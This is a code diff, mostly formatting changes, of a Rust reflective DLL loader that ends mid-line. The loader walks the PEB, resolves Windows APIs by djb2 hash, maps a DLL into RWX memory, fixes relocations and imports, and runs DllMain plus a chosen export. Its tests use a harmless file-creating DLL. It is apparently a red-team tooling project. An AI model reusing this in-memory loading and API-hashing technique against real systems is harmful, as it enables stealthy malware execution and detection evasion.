IMAGE_SECTION_HEADER + } Self { dos_headers, @@ -150,55 +207,71 @@ impl PeFileHeaders64 { } } - // #[no_mangle] // pub unsafe extern "C" fn memset(dest: *mut u8, val: u8, n: usize) -> () { // core::intrinsics::volatile_set_memory(dest, val, n) // } - /// Copy each DLL section into the newly allocated memory. /// Each section is copied according to it's VirtualAddress. -fn relocate_dll_image_sections(new_dll_base: *mut c_void, old_dll_bytes: *const c_void, pe_file_headers: &PeFileHeaders64) -> Result<(), &str> { +fn relocate_dll_image_sections( + new_dll_base: *mut c_void, + old_dll_bytes: *const c_void, + pe_file_headers: &PeFileHeaders64, +) -> Result<(), &str> { for (section_index, section) in pe_file_headers.section_headers.iter().enumerate() { - if section_index >= pe_file_headers.nt_headers.FileHeader.NumberOfSections as usize { return Ok(()); } + if section_index >= pe_file_headers.nt_headers.FileHeader.NumberOfSections as usize { + return Ok(()); + } let section_destination = new_dll_base as usize + section.VirtualAddress as usize; let section_bytes = old_dll_bytes as usize + section.PointerToRawData as usize; - - unsafe { copy_nonoverlapping(section_bytes as *const u8, section_destination as *mut u8, section.SizeOfRawData as usize) }; + + unsafe { + copy_nonoverlapping( + section_bytes as *const u8, + section_destination as *mut u8, + section.SizeOfRawData as usize, + ) + }; } Ok(()) } -// The relocation table in `.reloc` is used to help load a PE file when it's base address -// does not match the expected address (which is common). The expected base address is -// stored in Nt Header ---> Optional Header ---> `ImageBase`. This is the address that all -// pointers in the code have been hardcoded to work with. To update these hardcoded values -// we'll rebase the loaded image. To rebase the loaded image the loader will read through -// `.reloc` looping over the relocation blocks (`IMAGE_BASE_RELOCATION`). Blocks loosely -// correlate to PE sections Eg. `.text`. Each block has a number of 2 byte entries -// (offset: 12bits, type: 4bits). Each entry corresponds to a hardcoded pointer in memory -// that will need to be updated. The loader will loop over each entry in the block using -// the offset to determine where in the loaded section a reference needs to be updated. -// The address of the hardcoded reference can be calculated as: +// The relocation table in `.reloc` is used to help load a PE file when it's base address +// does not match the expected address (which is common). The expected base address is +// stored in Nt Header ---> Optional Header ---> `ImageBase`. This is the address that all +// pointers in the code have been hardcoded to work with. To update these hardcoded values +// we'll rebase the loaded image. To rebase the loaded image the loader will read through +// `.reloc` looping over the relocation blocks (`IMAGE_BASE_RELOCATION`). Blocks loosely +// correlate to PE sections Eg. `.text`. Each block has a number of 2 byte entries +// (offset: 12bits, type: 4bits). Each entry corresponds to a hardcoded pointer in memory +// that will need to be updated. The loader will loop over each entry in the block using +// the offset to determine where in the loaded section a reference needs to be updated. +// The address of the hardcoded reference can be calculated as: // (new_dll_base as usize + relocation_block.VirtualAddress as usize + relocation_entry.offset as usize) as *mut usize; -// The hardcoded reference is then updated by adding the image base delta. The difference -// between the hardcoded image base `NtHeader.OptionalHeader.ImageBase` and the image base +// The hardcoded reference is then updated by adding the image base delta. The difference +// between the hardcoded image base `NtHeader.OptionalHeader.ImageBase` and the image base // of the newly loaded PE. // https://0xrick.github.io/win-internals/pe7/ // http://research32.blogspot.com/2015/01/base-relocation-table.html -fn process_dll_image_relocation(new_dll_base: *mut c_void, pe_file_headers: &PeFileHeaders64, image_base_delta: isize) -> Result<(), &str> { - let relocation_directory: IMAGE_DATA_DIRECTORY = pe_file_headers.nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize]; +fn process_dll_image_relocation( + new_dll_base: *mut c_void, + pe_file_headers: &PeFileHeaders64, + image_base_delta: isize, +) -> Result<(), &str> { + let relocation_directory: IMAGE_DATA_DIRECTORY = + pe_file_headers.nt_headers.OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_BASERELOC as usize]; if relocation_directory.Size == 0 { // No relocations to process return Ok(()); } - let mut relocation_block_ref: *mut IMAGE_BASE_RELOCATION = - (new_dll_base as usize + relocation_directory.VirtualAddress as usize) as *mut IMAGE_BASE_RELOCATION; + let mut relocation_block_ref: *mut IMAGE_BASE_RELOCATION = (new_dll_base as usize + + relocation_directory.VirtualAddress as usize) + as *mut IMAGE_BASE_RELOCATION; loop { - let relocation_block = unsafe{*relocation_block_ref as IMAGE_BASE_RELOCATION}; - if relocation_block.SizeOfBlock == 0 || - relocation_block.VirtualAddress == 0 { + let relocation_block = unsafe { *relocation_block_ref as IMAGE_BASE_RELOCATION }; + if relocation_block.SizeOfBlock == 0 || relocation_block.VirtualAddress == 0 { return Ok(()); } @@ -210,26 +283,39 @@ fn process_dll_image_relocation(new_dll_base: *mut c_void, pe_file_headers: &PeF // USHORT Offset : 12; // USHORT Type : 4; // } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; - let relocation_block_entries_count = (relocation_block.SizeOfBlock as usize - core::mem::size_of::() as usize) / BaseRelocationEntry::c_size(); - let mut relocation_entry_ptr: *mut u16 = (relocation_block_ref as usize + core::mem::size_of::() as usize) as *mut u16; + let relocation_block_entries_count = (relocation_block.SizeOfBlock as usize + - core::mem::size_of::() as usize) + / BaseRelocationEntry::c_size(); + let mut relocation_entry_ptr: *mut u16 = (relocation_block_ref as usize + + core::mem::size_of::() as usize) + as *mut u16; for _index in 0..relocation_block_entries_count { - let relocation_entry: BaseRelocationEntry = BaseRelocationEntry::new(unsafe{*relocation_entry_ptr}); - if relocation_entry.reloc_type as u32 == IMAGE_REL_BASED_DIR64 || relocation_entry.reloc_type as u32 == IMAGE_REL_BASED_HIGHLOW { - let addr_to_be_patched = (new_dll_base as usize + relocation_block.VirtualAddress as usize + relocation_entry.offset as usize) as *mut usize; - let new_value_at_addr = unsafe { *addr_to_be_patched } + image_base_delta as usize; + let relocation_entry: BaseRelocationEntry = + BaseRelocationEntry::new(unsafe { *relocation_entry_ptr }); + if relocation_entry.reloc_type as u32 == IMAGE_REL_BASED_DIR64 + || relocation_entry.reloc_type as u32 == IMAGE_REL_BASED_HIGHLOW + { + let addr_to_be_patched = (new_dll_base as usize + + relocation_block.VirtualAddress as usize + + relocation_entry.offset as usize) + as *mut usize; + let new_value_at_addr = unsafe { *addr_to_be_patched } + image_base_delta as usize; unsafe { *addr_to_be_patched = new_value_at_addr }; } - relocation_entry_ptr = (relocation_entry_ptr as usize + BaseRelocationEntry::c_size()) as *mut u16; + relocation_entry_ptr = + (relocation_entry_ptr as usize + BaseRelocationEntry::c_size()) as *mut u16; } - relocation_block_ref = (relocation_block_ref as usize + relocation_block.SizeOfBlock as usize) as *mut IMAGE_BASE_RELOCATION; + relocation_block_ref = (relocation_block_ref as usize + + relocation_block.SizeOfBlock as usize) + as *mut IMAGE_BASE_RELOCATION; } } /// AND the ILT entry (a 64 or 32 bit value) by the b10000000... to get the most signifacnt bit. -/// Check if that most significant bit is 0 or 1. +/// Check if that most significant bit is 0 or 1. /// If it's 1 then the function should be loaded by ordinal reference. - return True /// If it's 0 then the function should be loaded by name. - return False -fn image_snap_by_ordinal(ordinal: usize) -> Result{ +fn image_snap_by_ordinal(ordinal: usize) -> Result { #[cfg(target_arch = "x86_64")] Ok((ordinal as u64 & IMAGE_ORDINAL_FLAG64) != 0) } @@ -241,27 +327,44 @@ fn image_ordinal(ordinal: usize) -> Result { Ok((ordinal & 0xffff) as u16) } -fn process_import_address_tables(new_dll_base: *mut c_void, pe_file_headers: &PeFileHeaders64, load_library_a_fn: FnLoadLibraryA, get_proc_address_fn: FnGetProcAddress, get_last_error_fn: FnGetLastError) -> Result<(), &str> { - let import_directory: IMAGE_DATA_DIRECTORY = pe_file_headers.nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]; - +fn process_import_address_tables( + new_dll_base: *mut c_void, + pe_file_headers: &PeFileHeaders64, + load_library_a_fn: FnLoadLibraryA, + get_proc_address_fn: FnGetProcAddress, + get_last_error_fn: FnGetLastError, +) -> Result<(), &str> { + let import_directory: IMAGE_DATA_DIRECTORY = + pe_file_headers.nt_headers.OptionalHeader.DataDirectory + [IMAGE_DIRECTORY_ENTRY_IMPORT as usize]; + if import_directory.Size == 0 { // No relocations to process return Ok(()); } - let mut base_image_import_table: *mut IMAGE_IMPORT_DESCRIPTOR = (new_dll_base as usize + import_directory.VirtualAddress as usize) as *mut IMAGE_IMPORT_DESCRIPTOR; + let mut base_image_import_table: *mut IMAGE_IMPORT_DESCRIPTOR = (new_dll_base as usize + + import_directory.VirtualAddress as usize) + as *mut IMAGE_IMPORT_DESCRIPTOR; loop { - let import_table_descriptor = unsafe{*base_image_import_table}; + let import_table_descriptor = unsafe { *base_image_import_table }; if import_table_descriptor.Name == 0 { break; } - let library_name_ptr = (new_dll_base as usize + import_table_descriptor.Name as usize) as *const i8; + let library_name_ptr = + (new_dll_base as usize + import_table_descriptor.Name as usize) as *const i8; let library_name = unsafe { CStr::from_ptr(library_name_ptr) }; - let library_handle = load_library_a(load_library_a_fn, get_last_error_fn, library_name.as_ptr() as *const u8); + let library_handle = load_library_a( + load_library_a_fn, + get_last_error_fn, + library_name.as_ptr() as *const u8, + ); if library_handle != 0 { #[cfg(target_arch = "x86_64")] - let mut library_thunk_ptr = (new_dll_base as usize + import_table_descriptor.FirstThunk as usize) as *mut IMAGE_THUNK_DATA64; + let mut library_thunk_ptr = (new_dll_base as usize + + import_table_descriptor.FirstThunk as usize) + as *mut IMAGE_THUNK_DATA64; loop { // Simply dereferencing a pointer may result in the struct being copied instead of referenced. // let mut library_thunk: IMAGE_THUNK_DATA64 = unsafe { *library_thunk_ref }; @@ -272,61 +375,70 @@ fn process_import_address_tables(new_dll_base: *mut c_void, pe_file_headers: &Pe let library_thunk = unsafe { &mut *library_thunk_ptr }; // Access of a union field is unsafe - if unsafe{library_thunk.u1.AddressOfData} == 0 { + if unsafe { library_thunk.u1.AddressOfData } == 0 { break; } - if image_snap_by_ordinal(unsafe{library_thunk.u1.Ordinal as usize})? { + if image_snap_by_ordinal(unsafe { library_thunk.u1.Ordinal as usize })? { // Calculate the ordinal reference to the function from the library_thunk entry. - let function_ordinal_ptr = image_ordinal(unsafe{library_thunk.u1.Ordinal as usize})? as *const u8; + let function_ordinal_ptr = + image_ordinal(unsafe { library_thunk.u1.Ordinal as usize })? as *const u8; // Get the address of the function using `GetProcAddress` and update the thunks reference. - library_thunk.u1.Function = get_proc_address(get_proc_address_fn, get_last_error_fn ,library_handle, function_ordinal_ptr) as _; + library_thunk.u1.Function = get_proc_address( + get_proc_address_fn, + get_last_error_fn, + library_handle, + function_ordinal_ptr, + ) as _; } else { // Calculate a refernce to the function name by adding the dll_base and name's RVA. - let image_import_ptr: *mut IMAGE_IMPORT_BY_NAME = (new_dll_base as usize + unsafe{library_thunk.u1.AddressOfData} as usize) as *mut IMAGE_IMPORT_BY_NAME; + let image_import_ptr: *mut IMAGE_IMPORT_BY_NAME = (new_dll_base as usize + + unsafe { library_thunk.u1.AddressOfData } as usize) + as *mut IMAGE_IMPORT_BY_NAME; // Get the address of the function using `GetProcAddress` and update the thunks reference. - let function_name_ptr = unsafe {(*image_import_ptr ).Name.as_ptr()}; + let function_name_ptr = unsafe { (*image_import_ptr).Name.as_ptr() }; // let tmp_new_func_addr = unsafe{ get_proc_address_fn(library_handle, function_name).unwrap() as _}; - let tmp_new_func_addr = get_proc_address(get_proc_address_fn, get_last_error_fn, library_handle, function_name_ptr) as _; + let tmp_new_func_addr = get_proc_address( + get_proc_address_fn, + get_last_error_fn, + library_handle, + function_name_ptr, + ) as _; library_thunk.u1.Function = tmp_new_func_addr; } - library_thunk_ptr = (library_thunk_ptr as usize + core::mem::size_of::()) as *mut IMAGE_THUNK_DATA64; + library_thunk_ptr = (library_thunk_ptr as usize + core::mem::size_of::()) + as *mut IMAGE_THUNK_DATA64; } } - base_image_import_table = (base_image_import_table as usize + core::mem::size_of::() as usize) as *mut IMAGE_IMPORT_DESCRIPTOR; + base_image_import_table = (base_image_import_table as usize + + core::mem::size_of::() as usize) + as *mut IMAGE_IMPORT_DESCRIPTOR; } Ok(()) - } - /// Get a pointer to the Process Environment Block (PEB) -pub unsafe fn get_peb() -> *mut PEB -{ +pub unsafe fn get_peb() -> *mut PEB { let peb: *mut PEB; asm!("mov {peb}, gs:[0x60]", peb = out(reg) peb); peb } /// Generate a unique hash -pub fn dbj2_hash(buffer: &[u8]) -> Result -{ +pub fn dbj2_hash(buffer: &[u8]) -> Result { let mut hsh: u32 = 5381; let mut iter: usize = 0; let mut cur: u8; - while iter < buffer.len() - { + while iter < buffer.len() { cur = buffer[iter]; - if cur == 0 - { + if cur == 0 { iter += 1; continue; } - if cur >= ('a' as u8) - { + if cur >= ('a' as u8) { cur -= 0x20; } @@ -338,25 +450,24 @@ pub fn dbj2_hash(buffer: &[u8]) -> Result } /// Get loaded module by hash -pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> -{ +pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> { let peb = get_peb(); let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; - let mut module_list = (*peb_ldr_data_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + let mut module_list = + (*peb_ldr_data_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; - while !(*module_list).DllBase.is_null() - { + while !(*module_list).DllBase.is_null() { let dll_buffer_ptr = (*module_list).BaseDllName.Buffer; let dll_length = (*module_list).BaseDllName.Length as usize; let dll_name_slice = from_raw_parts(dll_buffer_ptr as *const u8, dll_length); - match dbj2_hash(dll_name_slice){ + match dbj2_hash(dll_name_slice) { Ok(local_module_hash) => { if module_hash == local_module_hash { return Some((*module_list).DllBase as _); } - }, - Err(_) => {}, + } + Err(_) => {} }; module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; @@ -366,28 +477,37 @@ pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> } /// Get the address of an export by hash -unsafe fn get_export_by_hash(module_base: *mut u8, export_name_hash: u32) -> Option -{ +unsafe fn get_export_by_hash(module_base: *mut u8, export_name_hash: u32) -> Option { let pe_file = PeFileHeaders64::new(module_base as *mut c_void); let nt_headers = pe_file.nt_headers; - let export_directory = (module_base as usize + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); - let functions = from_raw_parts((module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); - let ordinals = from_raw_parts((module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames - { + let export_directory = (module_base as usize + + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, + (*export_directory).NumberOfNames as _, + ); + let functions = from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + let ordinals = from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; let name_slice: &[u8] = core::ffi::CStr::from_ptr(name_addr).to_bytes(); - match dbj2_hash(name_slice){ + match dbj2_hash(name_slice) { Ok(local_name_hash) => { if export_name_hash == local_name_hash { let ordinal = ordinals[i as usize] as usize; return Some(module_base as usize + functions[ordinal] as usize); } - }, - Err(_) => {}, + } + Err(_) => {} }; } @@ -401,25 +521,31 @@ fn error_handle(msg: &str) { #[no_mangle] pub fn reflective_loader(user_data_ptr_and_dll_bytes: *mut c_void) -> usize { #[cfg(not(target_os = "windows"))] - panic!("This OS isn't supported by the dll_reflect function.\nOnly windows systems are supported"); + panic!( + "This OS isn't supported by the dll_reflect function.\nOnly windows systems are supported" + ); // Dereference user data object let user_data_ptr_ptr = user_data_ptr_and_dll_bytes as *const *const UserData; - let user_data_ptr = unsafe{ *user_data_ptr_ptr }; - let user_data = unsafe{*user_data_ptr}.clone(); - if user_data.function_offset == 0 { error_handle("Could not parse the user_data segment") } - + let user_data_ptr = unsafe { *user_data_ptr_ptr }; + let user_data = unsafe { *user_data_ptr }.clone(); + if user_data.function_offset == 0 { + error_handle("Could not parse the user_data segment") + } + // Increment dll_bytes ptr offset to after the user_data ptr. - let dll_bytes = (user_data_ptr_and_dll_bytes as usize + core::mem::size_of::()) as *mut c_void; + let dll_bytes = + (user_data_ptr_and_dll_bytes as usize + core::mem::size_of::()) as *mut c_void; #[cfg(target_arch = "x86_64")] let pe_header = PeFileHeaders64::new(dll_bytes); - if pe_header.dos_headers.e_magic != PE_MAGIC { error_handle("Target DLL does not appear to be a DLL.") } + if pe_header.dos_headers.e_magic != PE_MAGIC { + error_handle("Target DLL does not appear to be a DLL.") + } let kernel32_base = unsafe { get_loaded_module_by_hash(KERNEL32_HASH).unwrap() }; let ntdll_base = unsafe { get_loaded_module_by_hash(NTDLL_HASH).unwrap() }; - if kernel32_base.is_null() || ntdll_base.is_null() - { + if kernel32_base.is_null() || ntdll_base.is_null() { error_handle("Could not find kernel32 and ntdll"); } @@ -430,7 +556,7 @@ pub fn reflective_loader(user_data_ptr_and_dll_bytes: *mut c_void) -> usize { None => { error_handle("Couldn't lookup LoadLibraryA export by hash"); return 0; - }, + } }; let load_library_a_fn = unsafe { transmute::<_, FnLoadLibraryA>(loadlib_addy) }; @@ -439,7 +565,7 @@ pub fn reflective_loader(user_data_ptr_and_dll_bytes: *mut c_void) -> usize { None => { error_handle("Couldn't lookup GetProcAddress export by hash"); return 0; - }, + } }; let get_proc_address_fn = unsafe { transmute::<_, FnGetProcAddress>(getproc_addy) }; @@ -448,52 +574,67 @@ pub fn reflective_loader(user_data_ptr_and_dll_bytes: *mut c_void) -> usize { None => { error_handle("Couldn't lookup VirtualAlloc export by hash"); return 0; - }, + } }; let virtual_alloc_fn = unsafe { transmute::<_, FnVirtualAlloc>(virtualalloc_addy) }; - let getlasterror_addy = match unsafe { get_export_by_hash(kernel32_base, GET_LAST_ERROR_HASH) } { + let getlasterror_addy = match unsafe { get_export_by_hash(kernel32_base, GET_LAST_ERROR_HASH) } + { Some(local_getlasterror_addy) => local_getlasterror_addy, None => { error_handle("Couldn't lookup GetLastError export by hash"); return 0; - }, + } }; - let get_last_error_fn = unsafe{ transmute::<_, FnGetLastError>(getlasterror_addy)}; + let get_last_error_fn = unsafe { transmute::<_, FnGetLastError>(getlasterror_addy) }; // Allocate memory for our DLL to be loaded into - let new_dll_base: *mut c_void = match virtual_alloc(virtual_alloc_fn, get_last_error_fn, ptr::null(), pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) { + let new_dll_base: *mut c_void = match virtual_alloc( + virtual_alloc_fn, + get_last_error_fn, + ptr::null(), + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE, + ) { Ok(local_new_dll_base) => local_new_dll_base, Err(local_err) => { error_handle(local_err); error_handle("Failed to allocate memory"); return 0; - }, + } }; // // copy over DLL image sections to the newly allocated space for the DLL match relocate_dll_image_sections(new_dll_base, dll_bytes as *const c_void, &pe_header) { - Ok(_) => {}, + Ok(_) => {} Err(local_err) => { error_handle(local_err); return 0; - }, + } } // Get distance between new dll memory and on disk image base. - let image_base_delta = new_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; + let image_base_delta = + new_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; // perform image base relocations match process_dll_image_relocation(new_dll_base, &pe_header, image_base_delta) { - Ok(_) => {}, + Ok(_) => {} Err(local_err) => { error_handle(local_err); return 0; } } // resolve import address table - match process_import_address_tables(new_dll_base, &pe_header, load_library_a_fn, get_proc_address_fn, get_last_error_fn) { - Ok(_) => {}, + match process_import_address_tables( + new_dll_base, + &pe_header, + load_library_a_fn, + get_proc_address_fn, + get_last_error_fn, + ) { + Ok(_) => {} Err(local_err) => { error_handle(local_err); return 0; @@ -501,40 +642,59 @@ pub fn reflective_loader(user_data_ptr_and_dll_bytes: *mut c_void) -> usize { } // Execute DllMain - let entry_point = (new_dll_base as usize + pe_header.nt_headers.OptionalHeader.AddressOfEntryPoint as usize) as *const FnDllMain; + let entry_point = (new_dll_base as usize + + pe_header.nt_headers.OptionalHeader.AddressOfEntryPoint as usize) + as *const FnDllMain; let dll_main_func = unsafe { core::mem::transmute::<_, FnDllMain>(entry_point) }; - unsafe{dll_main_func(new_dll_base as isize, DLL_PROCESS_ATTACH, 0 as *mut c_void);} + unsafe { + dll_main_func(new_dll_base as isize, DLL_PROCESS_ATTACH, 0 as *mut c_void); + } // Call the function the user specified. - let user_entry_point = (new_dll_base as usize + user_data.function_offset as usize ) as *const generic_fn; - let user_entry_point_fn = unsafe{ core::mem::transmute::<_, generic_fn>(user_entry_point)}; - unsafe{user_entry_point_fn()}; + let user_entry_point = + (new_dll_base as usize + user_data.function_offset as usize) as *const generic_fn; + let user_entry_point_fn = unsafe { core::mem::transmute::<_, generic_fn>(user_entry_point) }; + unsafe { user_entry_point_fn() }; new_dll_base as usize } - #[cfg(target_os = "windows")] #[cfg(test)] mod tests { use super::*; use core::time; - use std::{thread, path::{Path, PathBuf}, fs}; - use object::{LittleEndian, read::pe::ImageThunkData, pe::ImageNtHeaders64, Object, ObjectSection}; + use object::{ + pe::ImageNtHeaders64, read::pe::ImageThunkData, LittleEndian, Object, ObjectSection, + }; + use std::{ + fs, + path::{Path, PathBuf}, + thread, + }; use tempfile::NamedTempFile; - use windows_sys::Win32::{System::{Memory::VirtualAlloc, LibraryLoader::LoadLibraryA}, Foundation::GetLastError}; + use windows_sys::Win32::{ + Foundation::GetLastError, + System::{LibraryLoader::LoadLibraryA, Memory::VirtualAlloc}, + }; - const TEST_PAYLOAD: &[u8] = include_bytes!("..\\..\\create_file_dll\\target\\debug\\create_file_dll.dll"); - const TEST_PAYLOAD_RELATIVE_PATH: &str = "..\\create_file_dll\\target\\debug\\create_file_dll.dll"; + const TEST_PAYLOAD: &[u8] = + include_bytes!("..\\..\\create_file_dll\\target\\debug\\create_file_dll.dll"); + const TEST_PAYLOAD_RELATIVE_PATH: &str = + "..\\create_file_dll\\target\\debug\\create_file_dll.dll"; - fn get_export_address_by_name(pe_bytes: &[u8], export_name: &str, in_memory: bool) -> anyhow::Result { + fn get_export_address_by_name( + pe_bytes: &[u8], + export_name: &str, + in_memory: bool, + ) -> anyhow::Result { let pe_file = object::read::pe::PeFile64::parse(pe_bytes)?; - + let section = match pe_file.section_by_name(".text") { Some(local_section) => local_section, None => return Err(anyhow::anyhow!(".text section not found")), }; - + let mut section_raw_data_ptr = 0x0; for section in pe_file.section_table().iter() { let section_name = String::from_utf8(section.name.to_vec())?; @@ -544,25 +704,29 @@ mod tests { } } if section_raw_data_ptr == 0x0 { - return Err(anyhow::anyhow!("Failed to find pointer to text section.")) + return Err(anyhow::anyhow!("Failed to find pointer to text section.")); } - + // Section offset for .text. - let rva_offset = section.address() as usize - section_raw_data_ptr as usize - pe_file.relative_address_base() as usize; - + let rva_offset = section.address() as usize + - section_raw_data_ptr as usize + - pe_file.relative_address_base() as usize; + let exported_functions = pe_file.exports()?; for export in exported_functions { if export_name == String::from_utf8(export.name().to_vec())?.as_str() { if in_memory { return Ok(export.address() as usize - pe_file.relative_address_base() as usize); } else { - return Ok(export.address() as usize - rva_offset - pe_file.relative_address_base() as usize); + return Ok(export.address() as usize + - rva_offset + - pe_file.relative_address_base() as usize); } } } - + Err(anyhow::anyhow!("Function {} not found", export_name)) - } + } #[test] fn test_reflective_loader_get_export_by_hash() -> Result<(), &'static str> { @@ -570,14 +734,27 @@ mod tests { let kernel32_hash = KERNEL32_HASH; let virtual_alloc_hash = VIRTUAL_ALLOC_HASH; let kernel32_base = unsafe { get_loaded_module_by_hash(kernel32_hash).unwrap() }; - let virtualalloc_addy = unsafe { get_export_by_hash(kernel32_base, virtual_alloc_hash).unwrap() }; + let virtualalloc_addy = + unsafe { get_export_by_hash(kernel32_base, virtual_alloc_hash).unwrap() }; assert!(virtualalloc_addy > 0); // Try calling the function #[allow(non_camel_case_types)] - type fnVirtualAlloc = unsafe extern "system" fn(lpaddress: *const c_void, dwsize: usize, flallocationtype: VIRTUAL_ALLOCATION_TYPE, flprotect: PAGE_PROTECTION_FLAGS) -> *mut c_void; + type fnVirtualAlloc = unsafe extern "system" fn( + lpaddress: *const c_void, + dwsize: usize, + flallocationtype: VIRTUAL_ALLOCATION_TYPE, + flprotect: PAGE_PROTECTION_FLAGS, + ) -> *mut c_void; let virtual_alloc = unsafe { transmute::<_, fnVirtualAlloc>(virtualalloc_addy) }; - let res = unsafe{virtual_alloc(core::ptr::null(), 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)}; - assert!(res as usize > 0 ); + let res = unsafe { + virtual_alloc( + core::ptr::null(), + 1024, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE, + ) + }; + assert!(res as usize > 0); Ok(()) } @@ -588,7 +765,7 @@ mod tests { assert!(kernel32_base as usize > 0); Ok(()) } - + #[test] fn test_reflective_loader_dbj2_hash() -> Result<(), &'static str> { let test_names = [ @@ -645,7 +822,7 @@ mod tests { // PE Headers change everytime create file dll is built // #[test] // fn test_reflective_loader_parse_pe_headers() -> () { - + // // Get the path to our test dll file. // let read_in_dll_bytes = TEST_PAYLOAD; // let dll_bytes = read_in_dll_bytes.as_ptr() as *mut c_void; @@ -698,17 +875,18 @@ mod tests { let read_in_dll_bytes = TEST_PAYLOAD; // Create user_data struct and ptr bytes - let user_data = UserData{ - function_offset: get_export_address_by_name(read_in_dll_bytes, "demo_init", true).unwrap() as u64, + let user_data = UserData { + function_offset: get_export_address_by_name(read_in_dll_bytes, "demo_init", true) + .unwrap() as u64, }; let user_data_ptr = (&user_data as *const _) as usize; let user_data_ptr_bytes = user_data_ptr.to_le_bytes(); let user_data_ptr_as_slice = user_data_ptr_bytes.as_slice(); - // let dll_bytes_and_user_data = [user_data_ptr_slice, read_in_dll_bytes.try_into().unwrap()].concat().as_slice(); - let user_data_ptr_and_dll_bytes_vec = [user_data_ptr_as_slice,read_in_dll_bytes].concat(); - let user_data_ptr_and_dll_bytes = user_data_ptr_and_dll_bytes_vec.as_slice().as_ptr() as *mut c_void; + let user_data_ptr_and_dll_bytes_vec = [user_data_ptr_as_slice, read_in_dll_bytes].concat(); + let user_data_ptr_and_dll_bytes = + user_data_ptr_and_dll_bytes_vec.as_slice().as_ptr() as *mut c_void; // Set env var in our process. std::env::set_var("LIBTESTFILE", path.clone()); @@ -740,33 +918,66 @@ mod tests { let pe_header = PeFileHeaders64::new(dll_bytes); // Allocate memory for our DLL to be loaded into - let test_dll_base: *mut c_void = unsafe { VirtualAlloc(ptr::null(), pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) }; + let test_dll_base: *mut c_void = unsafe { + VirtualAlloc( + ptr::null(), + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize, + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE, + ) + }; // copy over DLL image sections to the newly allocated space for the DLL relocate_dll_image_sections(test_dll_base, dll_bytes as *const c_void, &pe_header); // This uses memcpy which is unresolved - let image_base_delta = test_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; + let image_base_delta = + test_dll_base as isize - pe_header.nt_headers.OptionalHeader.ImageBase as isize; process_dll_image_relocation(test_dll_base, &pe_header, image_base_delta); - let good_dll_base = unsafe{ LoadLibraryA(format!("{}\0", test_payload_path.as_path().to_str().unwrap()).as_ptr()) }; + let good_dll_base = unsafe { + LoadLibraryA(format!("{}\0", test_payload_path.as_path().to_str().unwrap()).as_ptr()) + }; if good_dll_base == 0 { - let last_err = unsafe{GetLastError()}; + let last_err = unsafe { GetLastError() }; return Err(anyhow::anyhow!("Failed to load test DLL with `LoadLibraryA` check that the file exists. Last error: {}", last_err)); } // Parse bytes from disk. let pe_file = object::read::pe::PeFile64::parse(read_in_dll_bytes)?; let section_table = pe_file.section_table(); - let good_image_base_delta = good_dll_base - pe_file.nt_headers().optional_header.image_base.get(LittleEndian) as isize; + let good_image_base_delta = good_dll_base + - pe_file + .nt_headers() + .optional_header + .image_base + .get(LittleEndian) as isize; // Loop over the relocations and check against the updated dll bytes. - let mut blocks = pe_file.data_directories().relocation_blocks(read_in_dll_bytes, §ion_table)?.unwrap(); + let mut blocks = pe_file + .data_directories() + .relocation_blocks(read_in_dll_bytes, §ion_table)? + .unwrap(); while let Some(block) = blocks.next()? { for reloc in block { - let test_addr = (test_dll_base as usize + reloc.virtual_address as usize) as *mut usize; - if test_addr as usize > test_dll_base as usize + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize { panic!("About to read out of bounds in test") } + let test_addr = + (test_dll_base as usize + reloc.virtual_address as usize) as *mut usize; + if test_addr as usize + > test_dll_base as usize + + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize + { + panic!("About to read out of bounds in test") + } - let known_good_addr = (good_dll_base as usize + reloc.virtual_address as usize) as *mut usize; - if known_good_addr as usize > good_dll_base as usize + pe_header.nt_headers.OptionalHeader.SizeOfImage as usize { panic!("About to read out of 